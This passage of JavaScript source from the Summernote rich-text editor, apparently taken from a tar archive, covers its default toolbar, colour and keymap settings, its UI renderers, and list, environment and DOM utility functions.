['delete', ['deleteRow', 'deleteCol', 'deleteTable']] ], air: [ ['color', ['color']], ['font', ['bold', 'underline', 'clear']], ['para', ['ul', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture']] ] }, // air mode: inline editor airMode: false, width: null, height: null, linkTargetBlank: true, focus: false, tabSize: 4, styleWithSpan: true, shortcuts: true, textareaAutoSync: true, hintDirection: 'bottom', tooltip: 'auto', container: 'body', maxTextLength: 0, styleTags: [ 'p', { title: 'Blockquote', tag: 'blockquote', className: 'blockquote', value: 'blockquote' }, 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ], fontNames: [ 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New', 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande', 'Tahoma', 'Times New Roman', 'Verdana' ], fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'], // pallete colors(n x n) colors: [ ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] ], // http://chir.ag/projects/name-that-color/ colorsName: [ ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'], ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'], ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'], ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'], ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'], ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'], ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'], ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou'] ], lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'], tableClassName: 'table table-bordered', insertTableMaxSize: { col: 10, row: 10 }, dialogsInBody: false, dialogsFade: false, maximumImageFileSize: null, callbacks: { onInit: null, onFocus: null, onBlur: null, onBlurCodeview: null, onEnter: null, onKeyup: null, onKeydown: null, onImageUpload: null, onImageUploadError: null }, codemirror: { mode: 'text/html', htmlMode: true, lineNumbers: true }, keyMap: { pc: { 'ENTER': 'insertParagraph', 'CTRL+Z': 'undo', 'CTRL+Y': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CTRL+B': 'bold', 'CTRL+I': 'italic', 'CTRL+U': 'underline', 'CTRL+SHIFT+S': 'strikethrough', 'CTRL+BACKSLASH': 'removeFormat', 'CTRL+SHIFT+L': 'justifyLeft', 'CTRL+SHIFT+E': 'justifyCenter', 'CTRL+SHIFT+R': 'justifyRight', 'CTRL+SHIFT+J': 'justifyFull', 'CTRL+SHIFT+NUM7': 'insertUnorderedList', 'CTRL+SHIFT+NUM8': 'insertOrderedList', 'CTRL+LEFTBRACKET': 'outdent', 'CTRL+RIGHTBRACKET': 'indent', 'CTRL+NUM0': 'formatPara', 'CTRL+NUM1': 'formatH1', 'CTRL+NUM2': 'formatH2', 'CTRL+NUM3': 'formatH3', 'CTRL+NUM4': 'formatH4', 'CTRL+NUM5': 'formatH5', 'CTRL+NUM6': 'formatH6', 'CTRL+ENTER': 'insertHorizontalRule', 'CTRL+K': 'linkDialog.show' }, mac: { 'ENTER': 'insertParagraph', 'CMD+Z': 'undo', 'CMD+SHIFT+Z': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CMD+B': 'bold', 'CMD+I': 'italic', 'CMD+U': 'underline', 'CMD+SHIFT+S': 'strikethrough', 'CMD+BACKSLASH': 'removeFormat', 'CMD+SHIFT+L': 'justifyLeft', 'CMD+SHIFT+E': 'justifyCenter', 'CMD+SHIFT+R': 'justifyRight', 'CMD+SHIFT+J': 'justifyFull', 'CMD+SHIFT+NUM7': 'insertUnorderedList', 'CMD+SHIFT+NUM8': 'insertOrderedList', 'CMD+LEFTBRACKET': 'outdent', 'CMD+RIGHTBRACKET': 'indent', 'CMD+NUM0': 'formatPara', 'CMD+NUM1': 'formatH1', 'CMD+NUM2': 'formatH2', 'CMD+NUM3': 'formatH3', 'CMD+NUM4': 'formatH4', 'CMD+NUM5': 'formatH5', 'CMD+NUM6': 'formatH6', 'CMD+ENTER': 'insertHorizontalRule', 'CMD+K': 'linkDialog.show' } }, icons: { 'align': 'note-icon-align', 'alignCenter': 'note-icon-align-center', 'alignJustify': 'note-icon-align-justify', 'alignLeft': 'note-icon-align-left', 'alignRight': 'note-icon-align-right', 'rowBelow': 'note-icon-row-below', 'colBefore': 'note-icon-col-before', 'colAfter': 'note-icon-col-after', 'rowAbove': 'note-icon-row-above', 'rowRemove': 'note-icon-row-remove', 'colRemove': 'note-icon-col-remove', 'indent': 'note-icon-align-indent', 'outdent': 'note-icon-align-outdent', 'arrowsAlt': 'note-icon-arrows-alt', 'bold': 'note-icon-bold', 'caret': 'note-icon-caret', 'circle': 'note-icon-circle', 'close': 'note-icon-close', 'code': 'note-icon-code', 'eraser': 'note-icon-eraser', 'font': 'note-icon-font', 'frame': 'note-icon-frame', 'italic': 'note-icon-italic', 'link': 'note-icon-link', 'unlink': 'note-icon-chain-broken', 'magic': 'note-icon-magic', 'menuCheck': 'note-icon-menu-check', 'minus': 'note-icon-minus', 'orderedlist': 'note-icon-orderedlist', 'pencil': 'note-icon-pencil', 'picture': 'note-icon-picture', 'question': 'note-icon-question', 'redo': 'note-icon-redo', 'square': 'note-icon-square', 'strikethrough': 'note-icon-strikethrough', 'subscript': 'note-icon-subscript', 'superscript': 'note-icon-superscript', 'table': 'note-icon-table', 'textHeight': 'note-icon-text-height', 'trash': 'note-icon-trash', 'underline': 'note-icon-underline', 'undo': 'note-icon-undo', 'unorderedlist': 'note-icon-unorderedlist', 'video': 'note-icon-video' } } }); }))); //# sourceMappingURL=summernote-bs4.js.map summernote.js000064400001022735151677331550007327 0ustar00/** * Super simple wysiwyg editor v0.8.10 * https://summernote.org * * Copyright 2013- Alan Hong. and other contributors * summernote may be freely distributed under the MIT license. * * Date: 2018-02-20T00:34Z */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) : typeof define === 'function' && define.amd ? define(['jquery'], factory) : (factory(global.jQuery)); }(this, (function ($$1) { 'use strict'; $$1 = $$1 && $$1.hasOwnProperty('default') ? $$1['default'] : $$1; var Renderer = /** @class */ (function () { function Renderer(markup, children, options, callback) { this.markup = markup; this.children = children; this.options = options; this.callback = callback; } Renderer.prototype.render = function ($parent) { var $node = $$1(this.markup); if (this.options && this.options.contents) { $node.html(this.options.contents); } if (this.options && this.options.className) { $node.addClass(this.options.className); } if (this.options && this.options.data) { $$1.each(this.options.data, function (k, v) { $node.attr('data-' + k, v); }); } if (this.options && this.options.click) { $node.on('click', this.options.click); } if (this.children) { var $container_1 = $node.find('.note-children-container'); this.children.forEach(function (child) { child.render($container_1.length ? $container_1 : $node); }); } if (this.callback) { this.callback($node, this.options); } if (this.options && this.options.callback) { this.options.callback($node); } if ($parent) { $parent.append($node); } return $node; }; return Renderer; }()); var renderer = { create: function (markup, callback) { return function () { var options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0]; var children = $$1.isArray(arguments[0]) ? arguments[0] : []; if (options && options.children) { children = options.children; } return new Renderer(markup, children, options, callback); }; } }; var editor = renderer.create('<div class="note-editor note-frame panel"/>'); var toolbar = renderer.create('<div class="note-toolbar-wrapper panel-default"><div class="note-toolbar panel-heading" role="toolbar"></div></div>'); var editingArea = renderer.create('<div class="note-editing-area"/>'); var codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'); var editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'); var statusbar = renderer.create([ '<output class="note-status-output" aria-live="polite"/>', '<div class="note-statusbar" role="status">', ' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' </div>', '</div>' ].join('')); var airEditor = renderer.create('<div class="note-editor"/>'); var airEditable = renderer.create([ ' <output class="note-status-output" aria-live="polite"/>', '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>' ].join('')); var buttonGroup = renderer.create('<div class="note-btn-group btn-group">'); var dropdown = renderer.create('<ul class="dropdown-menu" role="list">', function ($node, options) { var markup = $$1.isArray(options.items) ? options.items.map(function (item) { var value = (typeof item === 'string') ? item : (item.value || ''); var content = options.template ? options.template(item) : item; var option = (typeof item === 'object') ? item.option : undefined; var dataValue = 'data-value="' + value + '"'; var dataOption = (option !== undefined) ? ' data-option="' + option + '"' : ''; return '<li role="listitem" aria-label="' + item + '"><a href="#" ' + (dataValue + dataOption) + '>' + content + '</a></li>'; }).join('') : options.items; $node.html(markup).attr({ 'aria-label': options.title }); }); var dropdownButtonContents = function (contents, options) { return contents + ' ' + icon(options.icons.caret, 'span'); }; var dropdownCheck = renderer.create('<ul class="dropdown-menu note-check" role="list">', function ($node, options) { var markup = $$1.isArray(options.items) ? options.items.map(function (item) { var value = (typeof item === 'string') ? item : (item.value || ''); var content = options.template ? options.template(item) : item; return '<li role="listitem" aria-label="' + item + '"><a href="#" data-value="' + value + '">' + icon(options.checkClassName) + ' ' + content + '</a></li>'; }).join('') : options.items; $node.html(markup).attr({ 'aria-label': options.title }); }); var palette = renderer.create('<div class="note-color-palette"/>', function ($node, options) { var contents = []; for (var row = 0, rowSize = options.colors.length; row < rowSize; row++) { var eventName = options.eventName; var colors = options.colors[row]; var colorsName = options.colorsName[row]; var buttons = []; for (var col = 0, colSize = colors.length; col < colSize; col++) { var color = colors[col]; var colorName = colorsName[col]; buttons.push([ '<button type="button" class="note-color-btn"', 'style="background-color:', color, '" ', 'data-event="', eventName, '" ', 'data-value="', color, '" ', 'title="', colorName, '" ', 'aria-label="', colorName, '" ', 'data-toggle="button" tabindex="-1"></button>' ].join('')); } contents.push('<div class="note-color-row">' + buttons.join('') + '</div>'); } $node.html(contents.join('')); if (options.tooltip) { $node.find('.note-color-btn').tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } }); var dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function ($node, options) { if (options.fade) { $node.addClass('fade'); } $node.attr({ 'aria-label': options.title }); $node.html([ '<div class="modal-dialog">', ' <div class="modal-content">', (options.title ? ' <div class="modal-header">' + ' <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">×</button>' + ' <h4 class="modal-title">' + options.title + '</h4>' + ' </div>' : ''), ' <div class="modal-body">' + options.body + '</div>', (options.footer ? ' <div class="modal-footer">' + options.footer + '</div>' : ''), ' </div>', '</div>' ].join('')); }); var popover = renderer.create([ '<div class="note-popover popover in">', ' <div class="arrow"/>', ' <div class="popover-content note-children-container"/>', '</div>' ].join(''), function ($node, options) { var direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom'; $node.addClass(direction); if (options.hideArrow) { $node.find('.arrow').hide(); } }); var checkbox = renderer.create('<div class="checkbox"></div>', function ($node, options) { $node.html([ ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>', ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''), (options.checked ? ' checked' : ''), ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>', (options.text ? options.text : ''), '</label>' ].join('')); }); var icon = function (iconClassName, tagName) { tagName = tagName || 'i'; return '<' + tagName + ' class="' + iconClassName + '"/>'; }; var ui = { editor: editor, toolbar: toolbar, editingArea: editingArea, codable: codable, editable: editable, statusbar: statusbar, airEditor: airEditor, airEditable: airEditable, buttonGroup: buttonGroup, dropdown: dropdown, dropdownButtonContents: dropdownButtonContents, dropdownCheck: dropdownCheck, palette: palette, dialog: dialog, popover: popover, checkbox: checkbox, icon: icon, options: {}, button: function ($node, options) { return renderer.create('<button type="button" class="note-btn btn btn-default btn-sm" role="button" tabindex="-1">', function ($node, options) { if (options && options.tooltip) { $node.attr({ title: options.tooltip, 'aria-label': options.tooltip }).tooltip({ container: options.container, trigger: 'hover', placement: 'bottom' }); } })($node, options); }, toggleBtn: function ($btn, isEnable) { $btn.toggleClass('disabled', !isEnable); $btn.attr('disabled', !isEnable); }, toggleBtnActive: function ($btn, isActive) { $btn.toggleClass('active', isActive); }, onDialogShown: function ($dialog, handler) { $dialog.one('shown.bs.modal', handler); }, onDialogHidden: function ($dialog, handler) { $dialog.one('hidden.bs.modal', handler); }, showDialog: function ($dialog) { $dialog.modal('show'); }, hideDialog: function ($dialog) { $dialog.modal('hide'); }, createLayout: function ($note, options) { var $editor = (options.airMode ? ui.airEditor([ ui.editingArea([ ui.airEditable() ]) ]) : ui.editor([ ui.toolbar(), ui.editingArea([ ui.codable(), ui.editable() ]), ui.statusbar() ])).render(); $editor.insertAfter($note); return { note: $note, editor: $editor, toolbar: $editor.find('.note-toolbar'), editingArea: $editor.find('.note-editing-area'), editable: $editor.find('.note-editable'), codable: $editor.find('.note-codable'), statusbar: $editor.find('.note-statusbar') }; }, removeLayout: function ($note, layoutInfo) { $note.html(layoutInfo.editable.html()); layoutInfo.editor.remove(); $note.show(); } }; /** * @class core.func * * func utils (for high-order func's arg) * * @singleton * @alternateClassName func */ function eq(itemA) { return function (itemB) { return itemA === itemB; }; } function eq2(itemA, itemB) { return itemA === itemB; } function peq2(propName) { return function (itemA, itemB) { return itemA[propName] === itemB[propName]; }; } function ok() { return true; } function fail() { return false; } function not(f) { return function () { return !f.apply(f, arguments); }; } function and(fA, fB) { return function (item) { return fA(item) && fB(item); }; } function self(a) { return a; } function invoke(obj, method) { return function () { return obj[method].apply(obj, arguments); }; } var idCounter = 0; /** * generate a globally-unique id * * @param {String} [prefix] */ function uniqueId(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; } /** * returns bnd (bounds) from rect * * - IE Compatibility Issue: http://goo.gl/sRLOAo * - Scroll Issue: http://goo.gl/sNjUc * * @param {Rect} rect * @return {Object} bounds * @return {Number} bounds.top * @return {Number} bounds.left * @return {Number} bounds.width * @return {Number} bounds.height */ function rect2bnd(rect) { var $document = $(document); return { top: rect.top + $document.scrollTop(), left: rect.left + $document.scrollLeft(), width: rect.right - rect.left, height: rect.bottom - rect.top }; } /** * returns a copy of the object where the keys have become the values and the values the keys. * @param {Object} obj * @return {Object} */ function invertObject(obj) { var inverted = {}; for (var key in obj) { if (obj.hasOwnProperty(key)) { inverted[obj[key]] = key; } } return inverted; } /** * @param {String} namespace * @param {String} [prefix] * @return {String} */ function namespaceToCamel(namespace, prefix) { prefix = prefix || ''; return prefix + namespace.split('.').map(function (name) { return name.substring(0, 1).toUpperCase() + name.substring(1); }).join(''); } /** * Returns a function, that, as long as it continues to be invoked, will not * be triggered. The function will be called after it stops being called for * N milliseconds. If `immediate` is passed, trigger the function on the * leading edge, instead of the trailing. * @param {Function} func * @param {Number} wait * @param {Boolean} immediate * @return {Function} */ function debounce(func, wait, immediate) { var _this = this; var timeout; return function () { var context = _this; var args = arguments; var later = function () { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } var func = { eq: eq, eq2: eq2, peq2: peq2, ok: ok, fail: fail, self: self, not: not, and: and, invoke: invoke, uniqueId: uniqueId, rect2bnd: rect2bnd, invertObject: invertObject, namespaceToCamel: namespaceToCamel, debounce: debounce }; /** * returns the first item of an array. * * @param {Array} array */ function head(array) { return array[0]; } /** * returns the last item of an array. * * @param {Array} array */ function last(array) { return array[array.length - 1]; } /** * returns everything but the last entry of the array. * * @param {Array} array */ function initial(array) { return array.slice(0, array.length - 1); } /** * returns the rest of the items in an array. * * @param {Array} array */ function tail(array) { return array.slice(1); } /** * returns item of array */ function find(array, pred) { for (var idx = 0, len = array.length; idx < len; idx++) { var item = array[idx]; if (pred(item)) { return item; } } } /** * returns true if all of the values in the array pass the predicate truth test. */ function all(array, pred) { for (var idx = 0, len = array.length; idx < len; idx++) { if (!pred(array[idx])) { return false; } } return true; } /** * returns index of item */ function indexOf(array, item) { return $$1.inArray(item, array); } /** * returns true if the value is present in the list. */ function contains(array, item) { return indexOf(array, item) !== -1; } /** * get sum from a list * * @param {Array} array - array * @param {Function} fn - iterator */ function sum(array, fn) { fn = fn || func.self; return array.reduce(function (memo, v) { return memo + fn(v); }, 0); } /** * returns a copy of the collection with array type. * @param {Collection} collection - collection eg) node.childNodes, ... */ function from(collection) { var result = []; var length = collection.length; var idx = -1; while (++idx < length) { result[idx] = collection[idx]; } return result; } /** * returns whether list is empty or not */ function isEmpty$1(array) { return !array || !array.length; } /** * cluster elements by predicate function. * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule * @param {Array[]} */ function clusterBy(array, fn) { if (!array.length) { return []; } var aTail = tail(array); return aTail.reduce(function (memo, v) { var aLast = last(memo); if (fn(last(aLast), v)) { aLast[aLast.length] = v; } else { memo[memo.length] = [v]; } return memo; }, [[head(array)]]); } /** * returns a copy of the array with all false values removed * * @param {Array} array - array * @param {Function} fn - predicate function for cluster rule */ function compact(array) { var aResult = []; for (var idx = 0, len = array.length; idx < len; idx++) { if (array[idx]) { aResult.push(array[idx]); } } return aResult; } /** * produces a duplicate-free version of the array * * @param {Array} array */ function unique(array) { var results = []; for (var idx = 0, len = array.length; idx < len; idx++) { if (!contains(results, array[idx])) { results.push(array[idx]); } } return results; } /** * returns next item. * @param {Array} array */ function next(array, item) { var idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx + 1]; } /** * returns prev item. * @param {Array} array */ function prev(array, item) { var idx = indexOf(array, item); if (idx === -1) { return null; } return array[idx - 1]; } /** * @class core.list * * list utils * * @singleton * @alternateClassName list */ var lists = { head: head, last: last, initial: initial, tail: tail, prev: prev, next: next, find: find, contains: contains, all: all, sum: sum, from: from, isEmpty: isEmpty$1, clusterBy: clusterBy, compact: compact, unique: unique }; var isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line /** * returns whether font is installed or not. * * @param {String} fontName * @return {Boolean} */ function isFontInstalled(fontName) { var testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS'; var $tester = $$1('<div>').css({ position: 'absolute', left: '-9999px', top: '-9999px', fontSize: '200px' }).text('mmmmmmmmmwwwwwww').appendTo(document.body); var originalWidth = $tester.css('fontFamily', testFontName).width(); var width = $tester.css('fontFamily', fontName + ',' + testFontName).width(); $tester.remove(); return originalWidth !== width; } var userAgent = navigator.userAgent; var isMSIE = /MSIE|Trident/i.test(userAgent); var browserVersion; if (isMSIE) { var matches = /MSIE (\d+[.]\d+)/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent); if (matches) { browserVersion = parseFloat(matches[1]); } } var isEdge = /Edge\/\d+/.test(userAgent); var hasCodeMirror = !!window.CodeMirror; if (!hasCodeMirror && isSupportAmd) { // Webpack if (typeof __webpack_require__ === 'function') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } } else if (typeof require !== 'undefined') { // Browserify if (typeof require.resolve !== 'undefined') { try { // If CodeMirror can't be resolved, `require.resolve` will throw an // exception and `hasCodeMirror` won't be set to `true`. require.resolve('codemirror'); hasCodeMirror = true; } catch (e) { // do nothing } // Almond/Require } else if (typeof require.specified !== 'undefined') { hasCodeMirror = require.specified('codemirror'); } } } var isSupportTouch = (('ontouchstart' in window) || (navigator.MaxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)); // [workaround] IE doesn't have input events for contentEditable // - see: https://goo.gl/4bfIvA var inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input'; /** * @class core.env * * Object which check platform and agent * * @singleton * @alternateClassName env */ var env = { isMac: navigator.appVersion.indexOf('Mac') > -1, isMSIE: isMSIE, isEdge: isEdge, isFF: !isEdge && /firefox/i.test(userAgent), isPhantom: /PhantomJS/i.test(userAgent), isWebkit: !isEdge && /webkit/i.test(userAgent), isChrome: !isEdge && /chrome/i.test(userAgent), isSafari: !isEdge && /safari/i.test(userAgent), browserVersion: browserVersion, jqueryVersion: parseFloat($$1.fn.jquery), isSupportAmd: isSupportAmd, isSupportTouch: isSupportTouch, hasCodeMirror: hasCodeMirror, isFontInstalled: isFontInstalled, isW3CRangeSupport: !!document.createRange, inputEventName: inputEventName }; var NBSP_CHAR = String.fromCharCode(160); var ZERO_WIDTH_NBSP_CHAR = '\ufeff'; /** * @method isEditable * * returns whether node is `note-editable` or not. * * @param {Node} node * @return {Boolean} */ function isEditable(node) { return node && $$1(node).hasClass('note-editable'); } /** * @method isControlSizing * * returns whether node is `note-control-sizing` or not. * * @param {Node} node * @return {Boolean} */ function isControlSizing(node) { return node && $$1(node).hasClass('note-control-sizing'); } /** * @method makePredByNodeName * * returns predicate which judge whether nodeName is same * * @param {String} nodeName * @return {Function} */ function makePredByNodeName(nodeName) { nodeName = nodeName.toUpperCase(); return function (node) { return node && node.nodeName.toUpperCase() === nodeName; }; } /** * @method isText * * * * @param {Node} node * @return {Boolean} true if node's type is text(3) */ function isText(node) { return node && node.nodeType === 3; } /** * @method isElement * * * * @param {Node} node * @return {Boolean} true if node's type is element(1) */ function isElement(node) { return node && node.nodeType === 1; } /** * ex) br, col, embed, hr, img, input, ... * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements */ function isVoid(node) { return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase()); } function isPara(node) { if (isEditable(node)) { return false; } // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase()); } function isHeading(node) { return node && /^H[1-7]/.test(node.nodeName.toUpperCase()); } var isPre = makePredByNodeName('PRE'); var isLi = makePredByNodeName('LI'); function isPurePara(node) { return isPara(node) && !isLi(node); } var isTable = makePredByNodeName('TABLE'); var isData = makePredByNodeName('DATA'); function isInline(node) { return !isBodyContainer(node) && !isList(node) && !isHr(node) && !isPara(node) && !isTable(node) && !isBlockquote(node) && !isData(node); } function isList(node) { return node && /^UL|^OL/.test(node.nodeName.toUpperCase()); } var isHr = makePredByNodeName('HR'); function isCell(node) { return node && /^TD|^TH/.test(node.nodeName.toUpperCase()); } var isBlockquote = makePredByNodeName('BLOCKQUOTE'); function isBodyContainer(node) { return isCell(node) || isBlockquote(node) || isEditable(node); } var isAnchor = makePredByNodeName('A'); function isParaInline(node) { return isInline(node) && !!ancestor(node, isPara); } function isBodyInline(node) { return isInline(node) && !ancestor(node, isPara); } var isBody = makePredByNodeName('BODY'); /** * returns whether nodeB is closest sibling of nodeA * * @param {Node} nodeA * @param {Node} nodeB * @return {Boolean} */ function isClosestSibling(nodeA, nodeB) { return nodeA.nextSibling === nodeB || nodeA.previousSibling === nodeB; } /** * returns array of closest siblings with node * * @param {Node} node * @param {function} [pred] - predicate function * @return {Node[]} */ function withClosestSiblings(node, pred) { pred = pred || func.ok; var siblings = []; if (node.previousSibling && pred(node.previousSibling)) { siblings.push(node.previousSibling); } siblings.push(node); if (node.nextSibling && pred(node.nextSibling)) { siblings.push(node.nextSibling); } return siblings; } /** * blank HTML for cursor position * - [workaround] old IE only works with * - [workaround] IE11 and other browser works with bogus br */ var blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '<br>'; /** * @method nodeLength * * returns #text's text size or element's childNodes size * * @param {Node} node */ function nodeLength(node) { if (isText(node)) { return node.nodeValue.length; } if (node) { return node.childNodes.length; } return 0; } /** * returns whether node is empty or not. * * @param {Node} node * @return {Boolean} */ function isEmpty(node) { var len = nodeLength(node); if (len === 0) { return true; } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) { // ex) <p><br></p>, <span><br></span> return true; } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') { // ex) <p></p>, <span></span> return true; } return false; } /** * padding blankHTML if node is empty (for cursor position) */ function paddingBlankHTML(node) { if (!isVoid(node) && !nodeLength(node)) { node.innerHTML = blankHTML; } } /** * find nearest ancestor predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function ancestor(node, pred) { while (node) { if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * find nearest ancestor only single child blood line and predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function singleChildAncestor(node, pred) { node = node.parentNode; while (node) { if (nodeLength(node) !== 1) { break; } if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * returns new array of ancestor nodes (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listAncestor(node, pred) { pred = pred || func.fail; var ancestors = []; ancestor(node, function (el) { if (!isEditable(el)) { ancestors.push(el); } return pred(el); }); return ancestors; } /** * find farthest ancestor predicate hit */ function lastAncestor(node, pred) { var ancestors = listAncestor(node); return lists.last(ancestors.filter(pred)); } /** * returns common ancestor node between two nodes. * * @param {Node} nodeA * @param {Node} nodeB */ function commonAncestor(nodeA, nodeB) { var ancestors = listAncestor(nodeA); for (var n = nodeB; n; n = n.parentNode) { if ($$1.inArray(n, ancestors) > -1) { return n; } } return null; // difference document area } /** * listing all previous siblings (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listPrev(node, pred) { pred = pred || func.fail; var nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.previousSibling; } return nodes; } /** * listing next siblings (until predicate hit). * * @param {Node} node * @param {Function} [pred] - predicate function */ function listNext(node, pred) { pred = pred || func.fail; var nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.nextSibling; } return nodes; } /** * listing descendant nodes * * @param {Node} node * @param {Function} [pred] - predicate function */ function listDescendant(node, pred) { var descendants = []; pred = pred || func.ok; // start DFS(depth first search) with node (function fnWalk(current) { if (node !== current && pred(current)) { descendants.push(current); } for (var idx = 0, len = current.childNodes.length; idx < len; idx++) { fnWalk(current.childNodes[idx]); } })(node); return descendants; } /** * wrap node with new tag. * * @param {Node} node * @param {Node} tagName of wrapper * @return {Node} - wrapper */ function wrap(node, wrapperName) { var parent = node.parentNode; var wrapper = $$1('<' + wrapperName + '>')[0]; parent.insertBefore(wrapper, node); wrapper.appendChild(node); return wrapper; } /** * insert node after preceding * * @param {Node} node * @param {Node} preceding - predicate function */ function insertAfter(node, preceding) { var next = preceding.nextSibling; var parent = preceding.parentNode; if (next) { parent.insertBefore(node, next); } else { parent.appendChild(node); } return node; } /** * append elements. * * @param {Node} node * @param {Collection} aChild */ function appendChildNodes(node, aChild) { $$1.each(aChild, function (idx, child) { node.appendChild(child); }); return node; } /** * returns whether boundaryPoint is left edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isLeftEdgePoint(point) { return point.offset === 0; } /** * returns whether boundaryPoint is right edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isRightEdgePoint(point) { return point.offset === nodeLength(point.node); } /** * returns whether boundaryPoint is edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isEdgePoint(point) { return isLeftEdgePoint(point) || isRightEdgePoint(point); } /** * returns whether node is left edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgeOf(node, ancestor) { while (node && node !== ancestor) { if (position(node) !== 0) { return false; } node = node.parentNode; } return true; } /** * returns whether node is right edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isRightEdgeOf(node, ancestor) { if (!ancestor) { return false; } while (node && node !== ancestor) { if (position(node) !== nodeLength(node.parentNode) - 1) { return false; } node = node.parentNode; } return true; } /** * returns whether point is left edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgePointOf(point, ancestor) { return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor); } /** * returns whether point is right edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isRightEdgePointOf(point, ancestor) { return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor); } /** * returns offset from parent. * * @param {Node} node */ function position(node) { var offset = 0; while ((node = node.previousSibling)) { offset += 1; } return offset; } function hasChildren(node) { return !!(node && node.childNodes && node.childNodes.length); } /** * returns previous boundaryPoint * * @param {BoundaryPoint} 